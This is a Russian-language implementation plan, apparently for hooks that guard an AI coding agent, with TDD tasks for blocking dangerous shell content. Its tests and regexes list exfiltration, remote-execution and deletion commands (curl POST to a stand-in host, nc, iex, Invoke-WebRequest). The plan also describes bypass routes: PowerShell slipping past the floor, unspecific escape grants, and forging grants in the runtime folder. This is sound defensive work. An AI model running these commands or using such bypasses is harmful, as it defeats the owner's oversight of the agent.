# Машина 7 — Implementation Plan (мастер + Фаза 1 детально)

> **For agentic workers:** REQUIRED SUB-SKILL: владелец запретил субагентов/Task/Workflow → исполнять ИНЛАЙН через `superpowers:executing-plans` (batch с чекпойнтами). Steps — checkbox (`- [ ]`).

**Goal:** Растворить дисциплинарный «зоопарк» v4 в машины М1–М6, сделав дисциплину непробиваемой и атрибутируемой (промис §1 спеки), затем атомарно переехать с зоопарка на М1–М6.

**Architecture:** М7 — не новый слой, а перенос дисциплины внутрь существующих М1–М6 + закрытие 4 находок критического разбора (content-floor V1/V1-PS, escape-survivability SE-I/L6, журнал-K2 SE-C/SE-K, normative build-loop SE-D). Каждая фаза — самостоятельно тестируемая, TDD RED→GREEN, регрессия ≥ 2843+2 skip. Переезд (Фаза 8) — последним, шаг владельца (settings.json Claude'у закрыт).

**Tech Stack:** Node ESM (`tools/*.mjs`), vitest (tools-only config), хук-контракт Claude Code (PreToolUse/PostToolUse/Stop/SessionStart), HMAC-подпись (receipt-sign), pure-core + thin-main паттерн.

**Спец-источник:** `docs/superpowers/specs/2026-06-08-router-mentor-machine-7-design.md` (поправленная, §13 changelog).

**Квирки исполнения (подтверждены М1–М7):**
- vitest — через **Bash**, ОДНА абсолютная команда: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" [фильтр] --reporter dot`
- git — через **PowerShell**, по одной команде, литеральные пути, БЕЗ переменных; коммит `git -C "<wt>" commit -F "<wt>\.scratch\msg.txt"`; «Can't find lefthook in PATH» — шум.
- worktree junction: пути от родителя «Документация» с префиксом `.claude/worktrees/brainrepo/...`.
- `<wt>` = `c:\моя\проекты\портал crm\Документация\.claude\worktrees\brainrepo`

---

## Граф фаз и зависимости

```
Фаза 0  fail-CLOSE-карвут + escape-survivability примитивы (тотальные canonicalAction/normalize)
   │        (фундамент: на нём стоят все fail-CLOSE дисциплины и живучесть escape)
   ▼
Фаза 1  ✦ content-floor (правило 8, V1/V1-PS)  ← КРИТИЧНО, корень переезда
   │        (без неё §10 запрещает увольнять router-gate/powershell-gate)
   ▼
Фаза 2  escape-survivability полная (panic-ветка + escape-honor в remaining-стражах, L6)
   │        (до big-bang: глюк fail-CLOSE должен быть восстановим)
   ▼
Фаза 3  skill-журналер (PostToolUse) + seed-allow реактивных навыков (SE-K)
   │        (журнал-K2 М4 зависит от этого)
   ▼
Фаза 4  поглощение поведенческой дисциплины в М4 (coverage/todowrite/decomposition/
   │        rationalization/self-debrief через журнал-K2 + Гейт-2/Гейт-3)
   ▼
Фаза 5  normative-канал КАРТА/ЗАКОН + build-loop-различитель (Кусок 2, SE-D)
   ▼
Фаза 6  доска «кто на посту» + манифест полного набора М1–М6 (Кусок 3, SE-B)
   ▼
Фаза 7  ИИ-проводка судьи М4 (§8) — обёртка enforce-judge-gate live, ключ/флаг (шаг владельца)
   ▼
Фаза 8  карты покрытия §5 + тест-гейт §9.2 + увольнения §10 + БОЛЬШОЙ ПЕРЕЕЗД §9.3 (владелец)
```

**Правило перехода между фазами:** фаза закрыта ТОЛЬКО при зелёной регрессии tools-only ≥ baseline и зелёном per-phase smoke. `audit-context-building` ОБЯЗАТЕЛЕН перед правкой каждого существующего модуля.

**§12 CI-инварианты — владельцы-фазы (P-6, иначе бесхозны).** Это анти-регресс-костяк «непробиваемости», каждый закрепляется как тест в своей фазе:
- content-floor инвариант (каждая `BASH_HARD_BLACKLIST`-запись floored даже как шаг плана) → **Фаза 1** (Task 1.6);
- escape-survivability инвариант (страж бросает на входе → escape всё равно оценён) → **Фаза 2**;
- skill-журнал инвариант (seed/ad-hoc Skill → в journal → K2 видит) → **Фаза 3**;
- structural-тест (нет `if(result.ok)` truthy, только `=== true` в дисциплине) + grep-инвариант (нет `assistantText.includes(marker) → block:false`) + escape≠protection (дисциплина не несёт override-вокабуляра) → **Фаза 4** (после поглощения дисциплины);
- манифест-тест (снятие дисциплинарного стража → CI красный, набор = полный М1–М6) → **Фаза 6**.
Фаза 8 §9.2 — это интеграционные smokes, НЕ замена этим unit-инвариантам.

**Каждая фаза 0,2–8 — отдельный детальный bite-sized план** (пишется при подходе через `superpowers:writing-plans`). Ниже — Фаза 1 в полной детализации + scoped-карты остальных.

---

## ФАЗА 1 — Content-floor (правило 8 §4.1, V1/V1-PS) — ДЕТАЛЬНО

**Зачем:** стена М2 проверяет лишь членство-в-плане, пол М5 — лишь необратимость. Опасное-по-содержанию (произвольное исполнение `node -e`/`bash -c`, install, egress `curl`/`wget`/`nc`, redirect) как шаг плана проскальзывает (V1); PowerShell пол не смотрит вообще (V1-PS, реоткрытие v3.8 F1). Фаза 1 добавляет в пол **content-block класс**, рубящий по содержанию независимо от плана (escape по-прежнему снимает — owner-санкция).

**Дизайн-решения (locked, с поправками разбора плана 2026-06-08 — см. §«Поправки разбора плана»):**
- **ЕДИНЫЙ ИСТОЧНИК, НЕ перепечатка (P-1/S1, КРИТ).** Content-block НЕ переписывает regex'ы руками — он **переиспользует** реальный матчер `matchBashHardBlacklist` (он же `BASH_HARD_BLACKLIST` + `hasInjection` #34 + `stderrRedirectBlock` C16). Ручной список из прошлой редакции Task 1.1 был **подмножеством** реального blacklist'а (терял `#21` env-prefix, `#22` --watch, `#34` echo-injection, C16 `2>file`, `cp`/`mv`/`chmod`/`chown`/`chgrp`). Чтобы не зависеть от увольняемого router-gate, матчер **переносится в постоянный дом** `shell-content-rules.mjs` (там уже живёт `hasInjection`); `enforce-router-gate.mjs` импортирует оттуда (зелён до Фазы 8) — Task 1.0.5.
- `contentBlock` (whole-string `matchBashHardBlacklist`) кладётся в `classify-destructive` как поле рядом с `floor`/`suspicious`, и **`suspicious ||= contentBlock`** (P-5) — иначе голоса судьи М4 content-опасное не видят.
- **Per-segment паритет (P-4).** Фактический блок в полу идёт через `bashIsContentBlock` (whole-string + посегментно через `tokenizeBash`) — зеркало `bashIsFloor`: нейтрализует кавычки (`echo "node -e"` не должен давать ни FP, ни обход) и ловит content-сегмент за читающим.
- PowerShell — отдельный модуль `tools/powershell-destructive.mjs` (PS-нативные глаголы НЕ матчат unix-regex). **+ привязка escape (P-2, КРИТ):** `escape-grant.mjs::canonicalAction` ОБЯЗАН получить ветку PowerShell (`powershell:${normalizeCommand(command)}`) — Task 1.2b. Без неё все PS-команды схлопываются в `write:` (пусто) → один escape разблокирует ВСЕ PS-команды, а тест Task 1.5 зелёный ложно.
- **+ PS forge-страж (P-3, ВЫС):** PS-ветка пола, кроме `psContentBlock`, рубит запись в защищённый путь (`Set-Content`/`Add-Content`/`Out-File`/`Copy-Item`/`New-Item`/`Tee-Object`/`Move-Item`/`>` в `.claude/runtime`/`.env`/секрет) — иначе PS подделывает escape-грант (Task 1.4).
- `floor-decide.mjs` зовёт content-block ПЕРВЫМ (до проверки необратимости), для Bash и PowerShell; escape снимает блок в обеих ветках.

### Файловая структура Фазы 1
- Modify: `tools/shell-content-rules.mjs` (постоянный дом `BASH_HARD_BLACKLIST` + `stderrRedirectBlock` + `matchBashHardBlacklist`; Task 1.0.5 — P-1/S1)
- Modify: `tools/enforce-router-gate.mjs` (импортирует матчер из shell-content-rules вместо собственного; зелён до Фазы 8)
- Modify: `tools/classify-destructive.mjs` (+`contentBlock` = `matchBashHardBlacklist` whole-string; `suspicious ||= contentBlock` — P-5)
- Test: `tools/classify-destructive.test.mjs` (+content-block кейсы, включая P-1-пробелы: env-prefix/--watch/echo-inj/`2>file`/cp/mv)
- Modify: `tools/escape-grant.mjs` (`canonicalAction` +ветка PowerShell — Task 1.2b, P-2)
- Test: `tools/escape-grant.test.mjs` (+PS canonicalAction специфичен)
- Create: `tools/powershell-destructive.mjs` (`psContentBlock`)
- Test: `tools/powershell-destructive.test.mjs`
- Modify: `tools/floor-decide.mjs` (`bashIsContentBlock` whole+per-segment; ветка Bash + PowerShell+forge-страж, escapable — P-3/P-4)
- Test: `tools/floor-decide.test.mjs` (+content-block + escape-bypass + escape-СПЕЦИФИЧНОСТЬ кейсы)

---

### Task 1.0: audit-context-building перед правкой

- [ ] **Step 1:** Прочитать целиком `tools/classify-destructive.mjs`, `tools/floor-decide.mjs`, `tools/enforce-router-gate.mjs` (BASH_HARD_BLACKLIST + `matchBashHardBlacklist` + `stderrRedirectBlock`), `tools/shell-content-rules.mjs` (где живёт `hasInjection`), `tools/bash-tokenizer.mjs`, `tools/escape-grant.mjs`. Зафиксировать: текущую сигнатуру `classifyDestructive(command) → {floor, suspicious, reason}`; `floorDecide({toolUse, escapeGrants, escapeConsumed, now, normalizeImpl})`; что `bashIsFloor` уже посегментно ходит через tokenizeBash; **что `canonicalAction` (escape-grant.mjs:25-36) НЕ имеет ветки PowerShell** (P-2) и **что `matchBashHardBlacklist` сейчас живёт в router-gate** (P-1 — переедет в Task 1.0.5). Проверить отсутствие циклического импорта `shell-content-rules` ↔ `classify-destructive`. Это контекст — без правок.

---

### Task 1.0.5: единый источник content-правил (P-1/S1) — перенос матчера в постоянный дом

**Зачем:** прошлая редакция Task 1.1 перепечатывала regex'ы руками → получалось **подмножество** реального `BASH_HARD_BLACKLIST` (терялись `#21` env-prefix, `#22` --watch, `#34` echo-injection, C16 `2>file`, `cp`/`mv`/`chmod`/`chown`/`chgrp`). Единственный источник правды устраняет port-дрейф **по конструкции** (Δ9-б).

**Files:** Modify `tools/shell-content-rules.mjs`, `tools/enforce-router-gate.mjs`; тесты обоих.

- [ ] **Step 1:** Перенести из `enforce-router-gate.mjs` в `shell-content-rules.mjs`: `BASH_HARD_BLACKLIST`, `stderrRedirectBlock`, `matchBashHardBlacklist` (последний уже зовёт `hasInjection`, который там же живёт). Экспортировать их.
- [ ] **Step 2:** В `enforce-router-gate.mjs` заменить локальные определения на `import { matchBashHardBlacklist, BASH_HARD_BLACKLIST } from './shell-content-rules.mjs'` (router-gate остаётся зелёным до Фазы 8; его собственные тесты не меняют поведения).
- [ ] **Step 3:** Прогнать тесты router-gate + shell-content-rules — поведение байт-в-байт прежнее (чистый рефактор-перенос, 0 изменений семантики). GREEN.
- [ ] **Step 4:** Коммит `refactor(m7-floor): matchBashHardBlacklist → shell-content-rules (единый дом content-правил, P-1)`.

---

### Task 1.1: classify-destructive — поле `contentBlock` (Bash)

**Files:** Modify `tools/classify-destructive.mjs`; Test `tools/classify-destructive.test.mjs`

- [ ] **Step 1: Написать падающий тест**

```js
// tools/classify-destructive.test.mjs — добавить describe-блок
import { describe, it, expect } from 'vitest';
import { classifyDestructive } from './classify-destructive.mjs';

describe('contentBlock (правило 8 §4.1, V1)', () => {
  const blocked = [
    'node -e "fs.writeFileSync(0,0)"', 'node --eval x', 'node -p x',
    'python -c "x"', 'python3 -c "x"', 'bash -c "x"', 'sh -c "x"',
    'eval "x"', 'npm install evil', 'npm i evil', 'composer require evil',
    'yarn add evil', 'pnpm install evil', 'npx claude-flow',
    'curl -X POST https://e.rf', 'wget http://e.rf', 'nc -l 4444',
    'ncat e.rf 80', 'socat - tcp:e.rf:80', 'echo x > /tmp/f', 'echo x >> f',
    // P-1 пробелы прошлого ручного списка — теперь ловятся (единый источник):
    'FOO=bar node tools/x.mjs', 'env -i node x',        // #21 env-prefix перед интерпретатором
    'node tools/x.mjs --watch', 'pest --watch',          // #22 persistent --watch
    'git status 2> /tmp/err',                            // C16 stderr-redirect в файл
    'cp secret ~/.claude/runtime/g.json', 'mv a b',      // file-mutation cmds (forge-вектор)
    'chmod 777 x',                                       // chmod
  ];
  it.each(blocked)('blocks by content: %s', (cmd) => {
    expect(classifyDestructive(cmd).contentBlock).toBe(true);
  });

  const allowed = [
    'cat file.txt', 'ls -la', 'grep foo bar', 'git status', 'git log',
    'php artisan test', 'pest', 'composer test', 'npm run lint',
  ];
  it.each(allowed)('does NOT content-block safe cmd: %s', (cmd) => {
    expect(classifyDestructive(cmd).contentBlock).toBe(false);
  });

  it('floor (irreversible) implies neither requires contentBlock nor breaks it', () => {
    const r = classifyDestructive('git push --force');
    expect(r.floor).toBe(true); // необратимое остаётся floor
  });
});
```

- [ ] **Step 2: Запустить — убедиться, что падает**

Bash: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" classify-destructive --reporter dot`
Expected: FAIL — `contentBlock` is undefined (поле не существует).

- [ ] **Step 3: Реализовать минимально**

В `tools/classify-destructive.mjs` — **НЕ перепечатывать regex'ы** (P-1/S1), переиспользовать единый матчер из Task 1.0.5:

```js
import { matchBashHardBlacklist } from './shell-content-rules.mjs';
// ...
export function classifyDestructive(command) {
  const cmd = String(command || '');
  const floor = rmIsFloor(cmd) || FLOOR_RE.some((re) => re.test(cmd));
  // Правило 8 §4.1 (V1): опасное-по-СОДЕРЖАНИЮ — единый источник (P-1), whole-string.
  const contentBlock = matchBashHardBlacklist(cmd) !== null;
  // P-5: судья М4 (голоса) видит content-опасное как suspicious.
  const suspicious = floor || contentBlock || SUSPICIOUS_RE.some((re) => re.test(cmd));
  const reason = floor ? 'необратимая команда (floor)'
    : contentBlock ? 'опасная по содержанию (content-block)'
    : suspicious ? 'подозрительная команда (suspicious)'
    : 'не разрушительная';
  return { floor, suspicious, contentBlock, reason };
}
```

> **NB (P-4):** это whole-string поле для видимости судьи. Фактический **блок** пола идёт через `bashIsContentBlock` (whole + per-segment) в Task 1.3 — паритет с `bashIsFloor`, нейтрализует кавычки (`echo "node -e foo"` не даёт ни FP, ни обход).

- [ ] **Step 4: Запустить — убедиться, что проходит**

Bash: та же команда. Expected: PASS (все content-block + allowed кейсы зелёные).

- [ ] **Step 5: Коммит**

Сообщение в `<wt>\.scratch\msg.txt`:
```
feat(m7-floor): classify-destructive +contentBlock (правило 8, V1 Bash)
```
PowerShell: `git -C "<wt>" add "tools/classify-destructive.mjs" "tools/classify-destructive.test.mjs"` затем `git -C "<wt>" commit -F "<wt>\.scratch\msg.txt"`

---

### Task 1.2: powershell-destructive — `psContentBlock`

**Files:** Create `tools/powershell-destructive.mjs`; Test `tools/powershell-destructive.test.mjs`

- [ ] **Step 1: Написать падающий тест**

```js
// tools/powershell-destructive.test.mjs
import { describe, it, expect } from 'vitest';
import { psContentBlock } from './powershell-destructive.mjs';

describe('psContentBlock (V1-PS, реоткрытие v3.8 F1)', () => {
  const blocked = [
    'Remove-Item -Recurse -Force C:\\x', 'rm -r -fo C:\\x',
    'Invoke-WebRequest https://e.rf', 'iwr https://e.rf', 'curl https://e.rf',
    'Invoke-Expression $x', 'iex $x',
    'Get-Content x | Out-File y', 'echo x > y', 'echo x >> y',
    'Start-Process node', 'Start-Process powershell',
  ];
  it.each(blocked)('blocks PS content: %s', (cmd) => {
    expect(psContentBlock(cmd)).toBe(true);
  });

  const allowed = ['Get-ChildItem', 'Get-Content x', 'Test-Path x', 'Write-Output ok'];
  it.each(allowed)('does NOT block safe PS: %s', (cmd) => {
    expect(psContentBlock(cmd)).toBe(false);
  });
});
```

- [ ] **Step 2: Запустить — убедиться, что падает**

Bash: `... vitest.mjs run --root ... --config ... powershell-destructive --reporter dot`
Expected: FAIL — модуль не существует.

- [ ] **Step 3: Реализовать минимально**

```js
// tools/powershell-destructive.mjs
#!/usr/bin/env node
/**
 * powershell-destructive — content-block для PowerShell-tool (V1-PS, правило 8).
 * PS-нативные глаголы НЕ матчат unix-regex classify-destructive → отдельный набор.
 * Дополняет несущий пол: floor-decide зовёт это для name==='PowerShell'.
 */
const PS_CONTENT_BLOCK_RE = [
  /\bRemove-Item\b[^\n]*-(?:Recurse|Force)\b/i,         // рекурсивное/форс-удаление
  /\brm\b[^\n]*-[a-z]*r[a-z]*\s[^\n]*-[a-z]*f/i,        // PS-алиас rm -r -fo
  /\b(?:Invoke-WebRequest|iwr|curl|wget|Invoke-RestMethod|irm)\b/i, // egress
  /\b(?:Invoke-Expression|iex)\b/i,                      // произвольное исполнение
  /\bStart-Process\b/i,                                  // запуск интерпретатора/процесса
  /\bOut-File\b/i,                                       // запись в файл
  /(?:^|[^0-9>&])>{1,2}(?![>&])/,                        // redirect >/>>
];
export function psContentBlock(command) {
  const cmd = String(command || '');
  return PS_CONTENT_BLOCK_RE.some((re) => re.test(cmd));
}
```

- [ ] **Step 4: Запустить — убедиться, что проходит**

Bash: та же команда. Expected: PASS.

- [ ] **Step 5: Коммит**

```
feat(m7-floor): powershell-destructive psContentBlock (V1-PS)
```
`git -C "<wt>" add "tools/powershell-destructive.mjs" "tools/powershell-destructive.test.mjs"` → commit -F.

---

### Task 1.2b: canonicalAction — ветка PowerShell (P-2, КРИТ — escape-привязка)

**Зачем:** `canonicalAction` (escape-grant.mjs:25-36) обрабатывает `Bash` и `mcp__*`; PowerShell уходит в write-fallback → `extractWritePath({command})` пусто → **все PS-команды схлопываются в `write:`**. Тот же `canonicalAction` используют пол, **стена** (`enforce-supreme-gate.mjs:174`) и консьюмер → дефект сквозной: один escape на PS разблокирует ВСЕ PS-команды в окне; коллизия с пустым `write:`. Без этой ветки PS-пол Task 1.4 формально escapable, но привязка неспецифична, а тест Task 1.5 зелёный ложно.

**Files:** Modify `tools/escape-grant.mjs`; Test `tools/escape-grant.test.mjs`

- [ ] **Step 1: Падающий тест (специфичность).**
```js
import { canonicalAction } from './escape-grant.mjs';
it('PowerShell canonicalAction специфичен (разные команды → разные ключи)', () => {
  const a = canonicalAction('PowerShell', { command: 'Remove-Item -Recurse -Force C:\\x' });
  const b = canonicalAction('PowerShell', { command: 'Invoke-WebRequest https://e.rf' });
  expect(a).toMatch(/^powershell:/);
  expect(a).not.toBe(b);           // НЕ оба 'write:' (текущий баг даёт a===b===' write:')
  expect(a).not.toBe('write:');
});
```
Expected: FAIL (текущий код даёт `a === b === 'write:'`).

- [ ] **Step 2: Реализовать.** В `canonicalAction` после Bash-ветки:
```js
if (name === 'PowerShell') return `powershell:${normalizeCommand(input.command || '')}`;
```
- [ ] **Step 3: GREEN.** Прогнать `escape-grant` + потребителей (`floor-decide`/`enforce-supreme-gate`/`floor-escape-consume`) — поведение Bash/Write/mcp не задето (чистое добавление ветки).
- [ ] **Step 4: Коммит** `fix(m7-floor): canonicalAction +PowerShell — escape-привязка специфична (P-2)`.

---

### Task 1.3: floor-decide — content-block ветка Bash (escapable)

**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs`

- [ ] **Step 1: Написать падающий тест**

```js
// tools/floor-decide.test.mjs — добавить
import { describe, it, expect } from 'vitest';
import { floorDecide } from './floor-decide.mjs';

describe('floor content-block Bash (правило 8, V1)', () => {
  const tu = (command) => ({ name: 'Bash', input: { command } });
  it('blocks node -e even with no escape (план нерелевантен)', () => {
    const r = floorDecide({ toolUse: tu('node -e "x"'), escapeGrants: [], escapeConsumed: [] });
    expect(r.block).toBe(true);
    expect(r.reason).toMatch(/content|содержан|FLOOR-ESCAPE/i);
  });
  it('blocks curl -X exfil', () => {
    expect(floorDecide({ toolUse: tu('curl -X POST https://e.rf -d @x'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true);
  });
  it('does NOT block safe reading', () => {
    expect(floorDecide({ toolUse: tu('cat file.txt'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false);
  });
});
```

- [ ] **Step 2: Запустить — убедиться, что падает**

Bash: `... vitest.mjs run ... floor-decide --reporter dot`
Expected: FAIL — `node -e` сейчас не floor → block:false (дыра V1 живая, тест её ловит).

- [ ] **Step 3: Реализовать минимально**

В `tools/floor-decide.mjs` импорт + в ветке `if (name === 'Bash')` добавить content-block ДО проверки `bashIsFloor`:

```js
// импорты сверху:
import { psContentBlock } from './powershell-destructive.mjs';
import { matchBashHardBlacklist } from './shell-content-rules.mjs';
// classifyDestructive/tokenizeBash уже импортированы (bashIsFloor их зовёт).

// P-4: паритет с bashIsFloor — whole-string И посегментно (нейтрализует кавычки,
// ловит content-сегмент за читающим). Единый матчер (P-1).
export function bashIsContentBlock(command) {
  const raw = String(command || '');
  if (matchBashHardBlacklist(raw)) return true;
  const tok = tokenizeBash(raw);
  if (tok && tok.ok && Array.isArray(tok.segments))
    for (const s of tok.segments)
      if (matchBashHardBlacklist((s.tokens || []).join(' '))) return true;
  return false;
}

// внутри floorDecide, в начале ветки Bash:
  if (name === 'Bash') {
    // Правило 8 (V1): content-block по содержанию — независимо от плана, escapable.
    if (bashIsContentBlock(input.command || '')) {
      if (escaped()) return { block: false, reason: 'floor: content-block снят аварийным выходом (floor_escape)' };
      return { block: true, reason: `floor: опасная по содержанию команда без аварийного выхода — блок (правило 8); FLOOR-ESCAPE: ${action}` };
    }
    if (bashIsFloor(input.command || '')) {
      if (escaped()) return { block: false, reason: 'floor: разрешено аварийным выходом владельца (floor_escape)' };
      return { block: true, reason: `floor: необратимая команда без аварийного выхода — блок (вето-до-плана); FLOOR-ESCAPE: ${action}` };
    }
    return { block: false, reason: 'floor: Bash не необратимо' };
  }
```

> **NB (P-4 тест):** добавить кейс «`echo "node -e foo" && cat x` НЕ over-блокируется (кавычки нейтрализованы), а `cat x && node -e "y"` блокируется (content-сегмент за читающим)» — доказывает per-segment паритет.

- [ ] **Step 4: Запустить — убедиться, что проходит**

Bash: та же команда. Expected: PASS.

- [ ] **Step 5: Коммит**

```
feat(m7-floor): floor-decide content-block ветка Bash (V1, escapable)
```
`git -C "<wt>" add "tools/floor-decide.mjs" "tools/floor-decide.test.mjs"` → commit -F.

---

### Task 1.4: floor-decide — ветка PowerShell (V1-PS)

**Files:** Modify `tools/floor-decide.mjs`; Test `tools/floor-decide.test.mjs`

- [ ] **Step 1: Написать падающий тест**

```js
describe('floor content-block PowerShell (V1-PS)', () => {
  const tu = (command) => ({ name: 'PowerShell', input: { command } });
  it('blocks Remove-Item -Recurse -Force without escape', () => {
    const r = floorDecide({ toolUse: tu('Remove-Item -Recurse -Force C:\\x'), escapeGrants: [], escapeConsumed: [] });
    expect(r.block).toBe(true);
  });
  it('blocks Invoke-WebRequest exfil', () => {
    expect(floorDecide({ toolUse: tu('Invoke-WebRequest https://e.rf'), escapeGrants: [], escapeConsumed: [] }).block).toBe(true);
  });
  it('does NOT block Get-ChildItem', () => {
    expect(floorDecide({ toolUse: tu('Get-ChildItem'), escapeGrants: [], escapeConsumed: [] }).block).toBe(false);
  });
});
```

- [ ] **Step 2: Запустить — убедиться, что падает**

Expected: FAIL — PowerShell сейчас уходит в write-path-ветку (нет пути → block:false), Remove-Item проходит (V1-PS дыра).

- [ ] **Step 3: Реализовать минимально**

В `floor-decide.mjs` добавить ветку PowerShell ПОСЛЕ Bash-ветки, ДО OBSERVE_TOOLS. **+P-3 forge-страж:** поле `command` не парсится `extractWritePath`/общим write-стражем (стр. 95-105), поэтому запись PS-глаголом в защищённый путь надо проверить по сырой строке (иначе `Set-Content ~/.claude/runtime/...` подделывает escape-грант):

```js
// рядом с RUNTIME_RE/SECRET_PATH_RE (переиспользуем их):
const PS_WRITE_VERB_RE = /\b(?:Set-Content|Add-Content|Out-File|Copy-Item|New-Item|Tee-Object|Move-Item)\b/i;
function psProtectedWrite(cmd) {
  const s = String(cmd || '');
  const isWrite = PS_WRITE_VERB_RE.test(s) || /(?:^|[^0-9>&])>{1,2}(?![>&])/.test(s);
  if (!isWrite) return false;
  const slashed = s.split('\\').join('/');
  return RUNTIME_RE.test(slashed) || SECRET_PATH_RE.some((re) => re.test(slashed));
}

// внутри floorDecide:
  if (name === 'PowerShell') {
    const cmd = input.command || '';
    if (psContentBlock(cmd) || psProtectedWrite(cmd)) {  // P-3: forge-страж
      if (escaped()) return { block: false, reason: 'floor: PS content-block снят аварийным выходом (floor_escape)' };
      return { block: true, reason: `floor: опасная PowerShell-команда без аварийного выхода — блок (правило 8, V1-PS); FLOOR-ESCAPE: ${action}` };
    }
    return { block: false, reason: 'floor: PowerShell не опасно по содержанию' };
  }
```

> **NB (P-3 тест):** добавить в step 1 кейс `Set-Content -Path ~/.claude/runtime/askuser-decisions-x.jsonl -Value '{}'` → block:true (forge-вектор закрыт), и `Set-Content -Path notes.md -Value ok` → block:false (обычная запись не over-блокируется).

- [ ] **Step 4: Запустить — убедиться, что проходит**

Expected: PASS.

- [ ] **Step 5: Коммит**

```
feat(m7-floor): floor-decide ветка PowerShell content-block (V1-PS)
```

---

### Task 1.5: Escape снимает content-block (Bash + PS) — инвариант

**Files:** Test `tools/floor-decide.test.mjs` (+escape-bypass); код уже escapable из 1.3/1.4 — тест фиксирует инвариант.

- [ ] **Step 1: Написать тест (должен СРАЗУ пройти — код уже escapable; тест защищает инвариант от регресса)**

```js
import { canonicalAction } from './escape-grant.mjs';
describe('escape снимает content-block (owner-санкция)', () => {
  it('Bash node -e проходит при свежем гранте точного canonicalAction', () => {
    const tu = { name: 'Bash', input: { command: 'node -e "x"' } };
    const action = canonicalAction(tu.name, tu.input);
    const now = 1_000_000;
    const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now });
    expect(r.block).toBe(false);
  });
  it('PowerShell Remove-Item проходит при гранте', () => {
    const tu = { name: 'PowerShell', input: { command: 'Remove-Item -Recurse -Force C:\\x' } };
    const action = canonicalAction(tu.name, tu.input);
    const now = 1_000_000;
    const r = floorDecide({ toolUse: tu, escapeGrants: [{ action, ts: now }], escapeConsumed: [], now });
    expect(r.block).toBe(false);
  });
  // P-2 (КРИТ): escape СПЕЦИФИЧЕН — грант на одну PS-команду НЕ разблокирует другую.
  // До Task 1.2b обе схлопывались в 'write:' и этот тест проходил ложно (a===b).
  it('escape на PS-команду A НЕ разблокирует PS-команду B', () => {
    const now = 1_000_000;
    const grantA = canonicalAction('PowerShell', { command: 'Remove-Item -Recurse -Force C:\\x' });
    const tuB = { name: 'PowerShell', input: { command: 'Invoke-WebRequest https://e.rf' } };
    const r = floorDecide({ toolUse: tuB, escapeGrants: [{ action: grantA, ts: now }], escapeConsumed: [], now });
    expect(r.block).toBe(true); // грант A не покрывает B
  });
});
```

- [ ] **Step 2: Запустить**

Expected: первые два кейса PASS (escaped() в обеих ветках); кейс специфичности PASS **только после Task 1.2b** (до неё `grantA === canonicalAction(B) === 'write:'` → ложно block:false). Если специфичность падает — Task 1.2b не выполнен/не выровнен: floorDecide и тест обязаны звать один `canonicalAction(name, input)`.

- [ ] **Step 3: Коммит**

```
test(m7-floor): инвариант escape снимает content-block (Bash+PS)
```

---

### Task 1.6: Регрессия Фазы 1 + per-phase smoke

- [ ] **Step 1: Полная регрессия tools-only**

Bash: `node "<wt>\app\node_modules\vitest\vitest.mjs" run --root "<wt>\app" --config "<wt>\app\vitest.config.tools.mjs" --reporter dot`
Expected: ≥ **2843 passed + 2 skip** + новые content-block тесты (Фаза 1 добавляет ~40). 0 regressions.

- [ ] **Step 2: Smoke — дыра V1/V1-PS закрыта + §12 content-floor инвариант**

Подтвердить в выводе: `floor-decide` тесты «blocks node -e / curl / Remove-Item even with no escape» зелёные; «safe reading НЕ блокируется» зелёные; P-1-пробелы (env-prefix/--watch/echo-inj/`2>file`/cp/mv) зелёные; P-2 escape-специфичность зелёная; P-3 PS-forge зелёный. **§12 content-floor инвариант:** добавить тест-генератор «КАЖДАЯ запись `BASH_HARD_BLACKLIST` рубится полом даже как валидный шаг плана» (итерация по экспортированному списку — доказывает полноту порта по конструкции, не вручную).

- [ ] **Step 3: Финальный коммит фазы (если оставались несакоммиченные правки)**

```
chore(m7-floor): Фаза 1 закрыта — content-floor V1/V1-PS (P-1..P-5), регрессия GREEN
```

**Acceptance Фазы 1:** опасное-по-содержанию (Bash + PowerShell) рубится полом независимо от плана из **единого источника** (P-1, не ручной список); content-block whole+per-segment (P-4); `suspicious` видит content-опасное (P-5); escape **специфичен** для PS (P-2) и снимает блок; PS-запись в защищённый путь зарублена (P-3); §12 content-floor инвариант зелёный; регрессия ≥ baseline. → разблокирует увольнение router-gate/powershell-gate в Фазе 8.

---

## ФАЗЫ 0, 2–8 — scoped (разворачиваются в bite-sized при подходе)

### Фаза 0 — fail-CLOSE-карвут + escape-survivability примитивы
**Спека:** §4.1 правило 1 + правило 7(а). **Файлы:** `enforce-hook-helpers.mjs` (карвут «дисциплина fail-CLOSE, наблюдение fail-quiet» — уточнить контракт :7 + хелпер `exitDisciplineDecision` с fail-CLOSE-дефолтом), `escape-grant.mjs::canonicalAction` (обернуть `normalizeCommand` в try → тотальность), `path-normalization.mjs` (тотальность). **Acceptance:** тест «дисциплинарный хелпер на ошибке → block (не quiet)»; «canonicalAction на любом мусоре не бросает». **Ключевой риск:** не перевести наблюдательные хуки (observer/cost) в fail-CLOSE — только дисциплинарное подмножество.
**P-7 (явный список — иначе «дисциплинарное подмножество» непроверяемо):** fail-CLOSE получают **дисциплинарные/защитные** хуки — `enforce-floor`, `enforce-supreme-gate`, `enforce-judge-gate`, `enforce-snapshot`, `enforce-floor-escape-consume`, `enforce-read-path-deny`, `enforce-mcp-classification`, `enforce-normative-content-rules`, `enforce-skill-журналер` (Фаза 3), плюс поглощённая дисциплина по §4.2. **Остаются fail-quiet (наблюдение):** `observer-stop-hook`, `cost-stop-hook`. Список — константа в коде + манифест-тест (P-6/SE-B): добавление дисциплинарного хука без fail-CLOSE → CI красный.
**P-2 связка:** ветка PowerShell в `canonicalAction` живёт в Фазе 1 (Task 1.2b — там PS входит в пол); здесь — только тотальность (try вокруг `normalizeCommand`). Если Фаза 0 идёт первой, ветку PS можно поднять сюда — но тогда её escape-специфичный тест всё равно в Task 1.5.

### Фаза 2 — escape-survivability полная (SE-I/L6)
